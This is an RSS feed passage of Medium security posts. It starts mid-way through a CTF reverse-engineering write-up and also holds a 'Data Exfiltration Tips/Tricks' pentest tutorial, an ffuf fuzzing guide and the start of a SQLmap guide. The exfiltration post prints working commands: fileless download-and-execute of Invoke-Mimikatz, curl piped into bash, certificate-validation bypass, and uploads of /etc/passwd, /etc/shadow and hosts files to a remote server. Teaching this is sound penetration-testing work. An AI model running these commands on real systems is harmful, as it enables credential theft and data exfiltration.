&gt;&gt; 2) * -7 == 3:<br>                    if param_1 % 109 == 55:<br>                        return 1<br>    return 0<br>for i in range(1,100000):<br>    a= FUN_001012bb(i)<br>    # print(i, a)<br>    if a == 1:<br>        print(i)<br>        exit(0)<br>    else:<br>        continue</pre><p>This gave me 18476 meaning that now we could hop to the next stage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*OF-K6A1JqzAqcQQZ_XqMOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*QC-ezuDCFCtfG-SKetKV7w.png" /></figure><p>Here, the user input was sent to the function “<strong><em>FUN_001013d9</em></strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*3aJ5Eo5Gzs7petQiCB4QkQ.png" /></figure><p>Analysing this function, there was a need for another script that brute-forces the number which could satisfy the given conditions.</p><pre>def FUN_001013d9(param_1):<br>    local_18 = 0<br>    local_10 = param_1<br>    <br>    while local_10 != 0:<br>        local_18 = local_18 + (local_10 &amp; 1)<br>        local_10 = local_10 &gt;&gt; 1<br>    <br>    if local_18 &lt; 0x11:<br>        return 0<br>    elif local_18 &lt; 0x1b:<br>        return 1<br>    else:<br>        return 0<br>for i in range(1,1000000):<br>    a= FUN_001013d9(i)<br>    # print(i, a)<br>    if a == 1:<br>        print(i)<br>        exit(0)<br>    else:<br>        continue</pre><p>Bruteforced result: <strong><em>131071</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*K1uP7hqoZrO2XJdxVXj5VQ.png" /></figure><p>There were yet some more challenges need to be solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*MvxwELWjbFN7jpnOYbmswQ.png" /></figure><p>Looking at this code on line 36, there was a condition that could be bypassed if we got the right value but on doing so the first and second inputs were still compared 3 more times using different functions. So, every check had to be bypassed to get the flag.</p><p>I got stuck for some time.</p><p>I realised that there must be a lot of numbers that would satisfy both of the previously mentioned conditions. So I created a script to filter out the numbers that satisfied both conditions between 0–1,000,000.</p><pre>def FUN_001012bb(param_1):<br>    if (param_1 &amp; 1) == 0:<br>        if param_1 % 3 == 2:<br>            if param_1 % 5 == 1:<br>                if param_1 + ((param_1 - param_1 // 7 &gt;&gt; 1) + param_1 // 7 &gt;&gt; 2) * -7 == 3:<br>                    if param_1 % 109 == 55:<br>                        return True<br>    return False<br><br>with open(&quot;output.txt&quot;, &quot;w&quot;) as file:<br>    for i in range(1, 10000000):<br>        if FUN_001012bb(i):<br>            file.write(str(i) + &quot;\n&quot;)<br>def FUN_001013d9(param_1):<br>    local_18 = 0<br>    local_10 = param_1<br>    <br>    while local_10 != 0:<br>        local_18 = local_18 + (local_10 &amp; 1)<br>        local_10 = local_10 &gt;&gt; 1<br>    <br>    if local_18 &lt; 0x11:<br>        return 0<br>    elif local_18 &lt; 0x1b:<br>        return 1<br>    else:<br>        return 0<br><br>with open(&quot;output1.txt&quot;, &quot;w&quot;) as file:<br>    for i in range(1, 10000000):<br>        if FUN_001013d9(i):<br>            file.write(str(i) + &quot;\n&quot;)</pre><p>This will write all the numbers that satisfied the condition in output.txt and output1.txt.</p><p>After that, I wrote another script that checks the number that satisfied the condition in the function <strong><em>FUN_00101209.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*Sw1i7fUrkw0HxibHYFdvJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*sfJNQ2wvt3DRS01S-qx-Gg.png" /></figure><p>Where the output of the first number and the second number must be the same from this function.</p><pre>def FUN_00101209(param_1):<br>    local_20 = param_1<br>    local_10 = 0<br><br>    while local_20 != 0:<br>        local_10 += 1<br>        local_20 //= 10<br><br>    return local_10<br><br>matching_values = []<br><br>with open(&quot;output.txt&quot;, &quot;r&quot;) as file1, open(&quot;output1.txt&quot;, &quot;r&quot;) as file2:<br>    output_lines = file1.readlines()<br>    output1_lines = file2.readlines()<br><br>    for i in range(len(output_lines)):<br>        value1 = int(output_lines[i].strip())<br>        value2 = int(output1_lines[i].strip())<br><br>        if FUN_00101209(value1) == FUN_00101209(value2):<br>            matching_values.append((value1, value2))<br><br>with open(&quot;matching_values.txt&quot;, &quot;w&quot;) as file:<br>    for value1, value2 in matching_values:<br>        file.write(f&quot;{value1}, {value2}\n&quot;)</pre><p>Now this script will read both output.txt and output1.txt and get input in the function and if the output of the function is the same it will write it in the matching_value.txt file.</p><p>After that, we again have to satisfy the condition for <strong><em>FUN_00101430</em></strong> which takes two inputs first<strong><em> 0x1337</em></strong> and second <strong><em>our input</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*P7JKvVqCSgKZ5j720T2MIQ.png" /></figure><p>I again wrote another script that reads the file matching_values.txt and analysis it in this function and give the number that satisfied this condition.</p><pre>def FUN_0010124d(param_1):<br>    local_20 = param_1<br>    local_10 = 0<br><br>    while local_20 != 0:<br>        local_10 += local_20 % 10<br>        local_20 //= 10<br><br>    return local_10<br><br>with open(&quot;matching_values.txt&quot;, &quot;r&quot;) as file:<br>    lines = file.readlines()<br><br>    for line in lines:<br>        values = line.strip().split(&quot;, &quot;)<br>        value1 = int(values[0])<br>        value2 = int(values[1])<br><br>        if FUN_0010124d(value1) == FUN_0010124d(value2):<br>            print(&quot;Matching values:&quot;, value1, value2)</pre><p>And we got only two matching values so now we wrote a final script that bypasses all the final checks.</p><pre>def FUN_00101430(param_1, param_2, param_3):<br>    local_28 = param_2<br>    local_20 = param_1 % param_3<br>    local_10 = 1<br><br>    while local_28 != 0:<br>        if local_28 &amp; 1 != 0:<br>            local_10 = (local_10 * local_20) % param_3<br>        local_20 = (local_20 * local_20) % param_3<br>        local_28 &gt;&gt;= 1<br><br>    return local_10<br>for i in range(1, 101):<br>    its_0x1337 = 0x1337<br>    its_0 = i<br><br>    if (its_0 &amp; 1 == 0) or (its_0 == 1):<br>        continue<br>    else:<br>        A=FUN_00101430(its_0x1337,&lt;number we got&gt; ,its_0)<br>        B=FUN_00101430(its_0x1337,&lt;number we got&gt; ,its_0)<br>        if A==B:<br>            print(f&quot;{i} is the answer&quot;)</pre><p>Finally, we get all the value to solve this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*dbCvGHfzdI8iaA3Av17C6g.png" /></figure><p>We could do all this in one script but I find this way easy and fast. Also, I am still a learner so I did it in my way.</p><p>If you find this write-up helpful, I would greatly appreciate your feedback or comments. Feel free to share your thoughts or any additional insights in the comments section below. Thank you for reading!</p><p>If you’d like to connect with me on LinkedIn, I’d be delighted to continue the conversation there. You can find me on <a href="https://www.linkedin.com/in/anish-bhattarai-385013243/">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2955f686c1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data Exfiltration Tips/Tricks]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/data-exfiltration-tips-tricks-3bd5c58af859?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bd5c58af859</guid>
            <category><![CDATA[data-exfiltration]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[data-transfer]]></category>
            <category><![CDATA[tips-and-tricks]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Fri, 24 Mar 2023 06:08:48 GMT</pubDate>
            <atom:updated>2023-03-24T06:08:48.087Z</atom:updated>
            <content:encoded><![CDATA[<p>As a security researcher, you have been hired to test the security of a company’s network. During your analysis, you discover a vulnerability that allows you to gain access to a machine containing sensitive data. Your task is to transfer the data to another machine for analysis and to demonstrate the severity of the vulnerability to the company’s management.</p><p>Let’s now explore various methods for data transmission based on the situation and environment.</p><h3>Method 1: Base64 (Copy | Paste)</h3><p>To protect the Integrity and transfer data we can use base64 encoding. We can use base64 encoding and decoding in Window and Linux as follow:</p><h3>Encoding In</h3><ol><li>Linux</li></ol><pre>cat &lt;filename&gt; | base64 -w 0;echo</pre><p>2. Window:</p><p>i. PowerShell :</p><pre>[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes(&quot;C:\link\to<br>file&quot;))</pre><p>ii. Command Prompt:</p><pre>certutil -encode C:\link\to<br>file\example.txt C:\link\to\save\file\encoded.txt</pre><p>Decoding In</p><ol><li>Linux</li></ol><pre>echo &quot;bas64 encoding&quot; | base64 -d</pre><p>2. Window</p><p>i. PowerShell</p><pre>[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&quot;SGVsbG8sIFdvcmxkIQ==&quot;))</pre><p>ii. Command Prompt</p><pre>certutil -decode C:\path\to\encode-file\encoded.txt C:\path\to\save\decode-file\decoded.txt</pre><p>We can confirm that file we transfer is the same by using hashing:</p><p>Linux</p><pre>md5sum &lt;file name&gt;</pre><p>Window</p><pre>Get-FileHash &lt;file name&gt; -Algorithm md5</pre><p><strong>Note:</strong> While this method is convenient, it’s not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.</p><h3>Method 2: Web Downloads</h3><p>We can use the web to download the required file or script according to the need and situation to do so we can use different methods in different OS.</p><h3>Window</h3><p><strong>PowerShell file Download</strong></p><p>To download files in the window through PowerShell we can use:</p><p><strong>File Method</strong></p><pre>(New-Object Net.WebClient).DownloadFile(&#39;&lt;Target File URL&gt;&#39;,&#39;&lt;Output File Name&gt;&#39;)<br>(New-Object Net.WebClient).DownloadFile(&#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1&#39;,&#39;C:\Users\Public\Downloads\PowerView.ps1&#39;)</pre><pre>(New-Object Net.WebClient).DownloadFileAsync(&#39;&lt;Target File URL&gt;&#39;,&#39;&lt;Output File Name&gt;&#39;)<br>(New-Object Net.WebClient).DownloadFileAsync(&#39;https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1&#39;, &#39;PowerViewAsync.ps1&#39;)</pre><p><strong>Fileless Method</strong></p><p>fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2">Invoke-Expression</a> cmdlet or the alias IEX.</p><pre>IEX (New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&#39;)</pre><p>IEX also accepts pipeline input.</p><pre>(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&#39;) | IEX</pre><p><strong>Invoke-WebRequest</strong></p><p>From PowerShell 3.0 onwards, the <a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2">Invoke-WebRequest</a> cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequestfull name.</p><pre>Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1</pre><p>There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.</p><p>This can be bypassed using the parameter -UseBasicParsing.</p><pre>Invoke-WebRequest https://&lt;ip&gt;/PowerView.ps1 -UseBasicParsing | IEX</pre><p>Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:</p><pre>[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}<br>IEX(New-Object Net.WebClient).DownloadString(&#39;https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1&#39;)</pre><h3>Linux</h3><p>In Linux, we can use curl and wget to download files:</p><pre>wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh</pre><p>cURL is very similar to wget, but the output filename option is lowercase `-o&#39;.</p><pre>curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh</pre><p><strong>Fileless Download with cURL and wget</strong></p><pre>curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash</pre><pre>wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3</pre><p><strong>Download with Bash (/dev/tcp)</strong></p><p>There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with — enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.</p><p>Step 1: <strong>Connect to the Target Webserver</strong></p><pre>exec 3&lt;&gt;/dev/tcp/10.10.10.32/80</pre><p>step 2: <strong>HTTP GET Request</strong></p><pre>echo -e &quot;GET /LinEnum.sh HTTP/1.1\n\n&quot;&gt;&amp;3</pre><p>step 3: <strong>Print the Response</strong></p><pre>cat &lt;&amp;3</pre><h3>Method 3: SMB</h3><p>We can use SMB to transfer methods involve are:</p><h3>SMB Download</h3><p>step 1: <strong>Create the SMB Server</strong></p><pre>sudo impacket-smbserver share -smb2support /tmp/smbshare</pre><p>step 2: <strong>Copy a File from the SMB Server</strong></p><pre>copy \\192.168.220.133\share\nc.exe6</pre><p>New versions of Windows may block unauthenticated guest access, To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:</p><p><strong>Create the SMB Server with a Username and Password:</strong></p><pre>sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test</pre><p><strong>Mount the SMB Server with Username and Password:</strong></p><pre>net use n: \\192.168.220.133\share /user:test test</pre><p><strong>Note:</strong> You can also mount the SMB server if you receive an error when you use copy filename \\IP\sharename.</p><h3>SMB Uploads</h3><p>We can use smb service to upload a file also:</p><pre>copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\&lt;sharefolder or DavWWWRoot&gt;\</pre><p>💡 <strong>Note:</strong> If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.</p><p><strong>Another method can be Configuring WebDav Server</strong></p><p>To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot :</p><pre>pip install wsgidav cheroot</pre><p><strong>Using the WebDav Python module</strong></p><pre>sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous</pre><p><strong>Connecting to the Webdav Share</strong></p><p>Now we can attempt to connect to the share using the DavWWWRoot directory.</p><pre>dir \\192.168.49.128\DavWWWRoot</pre><p><strong>Note:</strong> DavWWWRoot is a special keyword recognized by Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \192.168.49.128\sharefolder.</p><h3>Method 4: <strong>SSH</strong></h3><p>We can use scp to download the file through ssh protocol:</p><pre>scp plaintext@192.168.49.128:/root/myroot.txt .</pre><p>this command will get myroot.txt in the current directory.</p><p><strong>File Upload using SCP</strong></p><pre>scp /etc/passwd plaintext@192.168.49.128:/home/plaintext/</pre><h3>Method 5: FTP</h3><h4>FTP Download</h4><p>We can start ftp server using python by:</p><pre>sudo python3 -m pyftpdlib --port 21</pre><p>After the FTP server is set up, we can perform file transfers using the pre-installed FTP client from Windows or PowerShell Net.WebClient.</p><p><strong>Transfering Files from an FTP Server Using PowerShell:</strong></p><pre>(New-Object Net.WebClient).DownloadFile(&#39;ftp://192.168.49.128/file.txt&#39;, &#39;ftp-file.txt&#39;)</pre><p><strong>FTP Uploads</strong></p><p>Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.</p><pre>sudo python3 -m pyftpdlib --port 21 --write</pre><p>Now let’s use the PowerShell upload function to upload a file to our FTP Server.</p><pre>(New-Object Net.WebClient).UploadFile(&#39;ftp://192.168.49.128/ftp-hosts&#39;, &#39;C:\Windows\System32\drivers\etc\hosts&#39;)</pre><h3>Method 6: Upload Operations</h3><p>In some cases, we may have less access to the machine or only can use http/s. In this case, we could use an HTTP server to upload files.</p><p>We can first start the HTTP server with python:</p><pre>python3 -m uploadserver</pre><p>Now we can use http://ip:port/upload to upload the file or use a command:</p><pre>Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts</pre><pre>curl -X POST https://192.168.49.128/upload -F &#39;files=@/etc/passwd&#39; -F &#39;files=@/etc/shadow&#39; --insecure</pre><p>We used the option --insecure because we used a self-signed certificate that we trust.</p><p><strong>PowerShell Base64 Web Upload</strong></p><p>Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.</p><pre>$b64 = [System.convert]::ToBase64String((Get-Content -Path &#39;C:\Windows\System32\drivers\etc\hosts&#39; -Encoding Byte))<br>Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64</pre><p>In other machine start nc :</p><pre>nc -lnvp 8000</pre><p>There are many more method such as using Code:</p><p><strong>Python Download</strong></p><pre>python2.7 -c &#39;import urllib;urllib.urlretrieve (&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;, &quot;LinEnum.sh&quot;)&#39;<br>python3 -c &#39;import urllib.request;urllib.request.urlretrieve(&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;, &quot;LinEnum.sh&quot;)&#39;</pre><p><strong>PHP Download</strong></p><p>In the following example, we will use the PHP <a href="https://www.php.net/manual/en/function.file-get-contents.php">file_get_contents() module</a> to download content from a website combined with the <a href="https://www.php.net/manual/en/function.file-put-contents.php">file_put_contents() module</a> to save the file into a directory. PHP can be used to run one-liners from an operating system command line using the option -r.</p><pre>php -r &#39;$file = file_get_contents(&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;); file_put_contents(&quot;LinEnum.sh&quot;,$file);&#39;</pre><p>An alternative to file_get_contents() and file_put_contents() is the <a href="https://www.php.net/manual/en/function.fopen.php">fpopen() module</a>. We can use this module to open a URL, read it&#39;s content and save it into a file.</p><pre>php -r &#39;const BUFFER = 1024; $fremote = <br>fopen(&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;, &quot;rb&quot;); $flocal = fopen(&quot;LinEnum.sh&quot;, &quot;wb&quot;); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);&#39;</pre><p>We can also send the downloaded content to a pipe instead, similar to the fileless example we executed in the previous section using cURL and wget.</p><pre>php -r &#39;$lines = @file(&quot;https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh&quot;); foreach ($lines as $line_num =&gt; $line) { echo $line; }&#39; | bash</pre><p>While we’ve covered some great methods to improve productivity in this post, there are many more out there. It’s important to continue learning and exploring different strategies to find what works best for you.</p><p>at the end, I want to provide a wonderful resource which can be halpful in the journy of you Pentester or Cyber security.</p><p><a href="https://lolbas-project.github.io/#">LOLBAS</a></p><p>To search for download and upload functions in <a href="https://lolbas-project.github.io/">LOLBAS</a> we can use /download or /upload.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><p>To search for the download and upload function in <a href="https://gtfobins.github.io/">GTFOBins for Linux Binaries</a>, we can use +file download or +file upload.</p><p>Thank you for reading this post. As a fellow learner, I believe continuous learning is key to success. If you have any feedback or suggestions, please leave them in the comments below. Let’s connect on <a href="https://www.linkedin.com/in/anish-bhattarai-385013243/">LinkedIn</a> for more insights. Thank you and best of luck in your productivity journey!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bd5c58af859" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[All you want to know about ffuf]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/all-you-want-to-know-about-ffuf-8817218de2a6?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8817218de2a6</guid>
            <category><![CDATA[web-app-testing]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[ffuf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Mon, 13 Mar 2023 02:01:06 GMT</pubDate>
            <atom:updated>2023-03-13T02:01:44.476Z</atom:updated>
            <content:encoded><![CDATA[<p>The term fuzzing refers to a testing technique that sends various types of user input to a certain interface to study how it would react and ffuf is a powerful command-line tool for web application fuzzing and vulnerability testing. It allows users to send multiple requests with custom inputs and parameters, filter the results, and perform recursive scans.</p><p>To install ffuf visit <a href="https://github.com/ffuf/ffuf">this</a> GitHub or just use the command line tool apt or brew.</p><pre>apt install ffuf</pre><p>After installation, we can just use -h to verify it.</p><pre>ffuf -h</pre><p>The main two options are -w for wordlists and -u for the URL. We can assign a keyword to a wordlist to refer to it where we want to fuzz. For example, we can pick our wordlist and assign the keyword FUZZ to it by adding:FUZZ after it, and to fuzz a directory we add FUZZ keyword where the directory would be within our URL:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u anishbhattarai.com.np/FUZZ</pre><p><strong>Extension Fuzzing</strong></p><p>we will again utilize ffuf to fuzz the extension, similar to how we fuzzed for directories. Instead of placing the FUZZ keyword where the directory name would be, we would place it where the extension would be.FUZZ.</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://anishbhattarai.com.np/indexFUZZ</pre><p>💡According to the wordlist we may or may not use .before FUZZ.</p><p><strong>Page Fuzzing</strong></p><p>Using the same concept we can now fuzz a page a for file.</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php</pre><p><strong>Recursive Fuzzing</strong></p><p>Recursive fuzzing is a technique used to fuzz not only the specified directory but also any directories found within it. This can be done by using the -recursion flag in ffuf and specifying the maximum depth of recursion using -recursion-depth to search through. This can be helpful in finding hidden or nested directories that may not be immediately visible.</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v</pre><p>we use -e to specify the extension we want to fuzz and -v to output the full URL.</p><p>💡 we can use the -ic flag for ignoring copyright comments at the beginning of the wordlist file.</p><p><strong>Sub-domain Fuzzing</strong></p><p>As usual to fuzz a subdomain we can use the same process:</p><pre>ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u https://FUZZ.google.com/</pre><p><strong>Vhost Fuzzing</strong></p><p>Vhost Fuzzing is a technique used to find virtual hosts (vhosts) on a web server. It involves sending a request with different host headers to a web server and observing the response. This can be done with ffuf by using the -H flag to specify the host header and the -w flag to specify a wordlist of potential vhosts to try. For example:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u http://TARGET_IP/ -H &quot;Host: FUZZ.TARGET&quot;</pre><p>Here, TARGET_IP is the IP address of the web server being targeted, and FUZZ is the keyword used to specify where in the host header the values from the wordlist should be inserted.</p><p><strong>Filtering Results</strong></p><p>So far, we have not been using any filtering to our ffuf, and the results are automatically filtered by default by their HTTP code, which filters out code 404 NOT FOUND, and keeps the rest.</p><p>Ffuf provides the option to match or filter out a specific HTTP code, response size, or amount of words. We can see that with ffuf -h :</p><pre>fuff -h</pre><p>To filter out HTTP codes, we can use the -fc flag followed by a comma-separated list of codes to filter. For example, to filter out codes 404 and 403, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -fc 404,403</pre><p>To match a specific word or phrase in the response body, we can use the -mc flag followed by the word or phrase to match. For example, to match the word &quot;admin&quot; in the response body, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -mc &quot;admin&quot;</pre><p>We can also filter out responses that contain a specific word or phrase using the -fw flag followed by the word or phrase to filter out. For example, to filter out responses that contain the word &quot;error&quot;, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -fw &quot;error&quot;</pre><p>To filter out responses based on response size, we can use the -fs flag followed by the size to filter out. For example, to filter out responses smaller than 100 bytes, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -fs 100</pre><p>We can also use the -fr flag followed by a regular expression to filter out responses that match the expression. For example, to filter out responses that include a string of numbers, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -fr &quot;[0-9]*&quot;</pre><p>The -o flag can be used to save the results of our ffuf scan to a specified file. This can be helpful for reviewing results later or for sharing them with other members of a team. For example, to save the results of our scan to a file called ffuf_results.txt, we can use:</p><pre>ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -o ffuf_results.txt</pre><p>This will save the results to a file in the current directory called ffuf_results.txt.</p><p><strong>Parameter Fuzzing — GET</strong></p><p>Parameter fuzzing is a technique used to test web applications for vulnerabilities by sending various input values to parameters in GET or POST requests. To perform parameter fuzzing with ffuf, we can use the -w flag to specify a wordlist of values to fuzz, and the -u flag to specify the target URL with the parameter and the FUZZ keyword. For example, to fuzz the id parameter of a website with a wordlist, we can use:</p><pre>ffuf -w /path/to/wordlist.txt -u &quot;&lt;http://example.com/?id=FUZZ&gt;&quot;</pre><p><strong>Parameter Fuzzing — POST</strong></p><p>To perform parameter fuzzing with ffuf for POST requests, we can use the -X flag to specify the HTTP method as POST, and the -d flag to specify the data payload. We can also use the -H flag to specify any necessary headers for the request. For example, to fuzz the username and password parameters of a login form, we can use:</p><pre>ffuf -w /path/to/wordlist.txt -X POST -d &quot;username=FUZZ&amp;password=FUZZ&quot; -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -u &quot;&lt;http://example.com/login.php&gt;&quot;</pre><p>This will send POST requests with the username and password parameters set to values from the specified wordlist.</p><p>So now -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*sCaJh-z9WA1nh3qe.jpg" /></figure><p>If you enjoyed this article please consider following me on Medium and connecting with me on <a href="https://www.linkedin.com/in/anish-bhattarai-385013243/">LinkedIn</a>.</p><p>Thank you for your time :).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8817218de2a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQLmap like a pro…]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/sqlmap-like-a-pro-6be3d8f81077?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6be3d8f81077</guid>
            <category><![CDATA[webservices-testing]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[sqlmap]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Mon, 30 Jan 2023 08:14:21 GMT</pubDate>
            <atom:updated>2023-01-31T07:28:31.139Z</atom:updated>
            <content:encoded><![CDATA[<p>SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve.</p><p>SQLmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers.</p><p>SQLmap is pre-install in Kali Linux. And if you want to install it yourself follow</p><p><a href="https://github.com/sqlmapproject/sqlmap">https://github.com/sqlmapproject/sqlmap</a></p><pre>sqlmap</pre><pre>You will get a prompt if you have a sqlmap install.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-te3Q34pxaEg9zro0USIAg.png" /><figcaption>sqlmap</figcaption></figure><pre>sqlmap -h</pre><pre>This will give you a help menu.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iqFFQxTZxOj-nXxJ16KWlg.png" /><figcaption>help menu</figcaption></figure><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1</pre><pre>This is how we scan for a SQL injection in a endpoint parameter where -u is use to give the URL.</pre><h3>Technique</h3><p>There are many techniques we could use to find SQL injection these are boolean-based, Error-based, Union-queries, time-based, and inline queries. To know more about them in depth you could find them here <a href="https://portswigger.net/web-security/sql-injection">https://portswigger.net/web-security/sql-injection</a>.</p><p>These are the technique you could use for SQL injection in sqlmap i.e.</p><p>+ — — — — — — — — — — — — — — — — — — — — — — — — — — — — +<br>|| letter | Letter Technique | |<br>+ — — — — — — — — — — — — — — — — — — — — — — — — — — — — +<br>| | — — | — — | |<br>| | B | Boolean-based blind or simply blind injection | |<br>| | E | Error-based injection | |<br>| | U | UNION-query based | |<br>| | S | Stacked queries | |<br>| | T | Time-based injection | |<br>| | Q | Inline queries | |<br>+ — — — — — — — — — — — — — — — — — 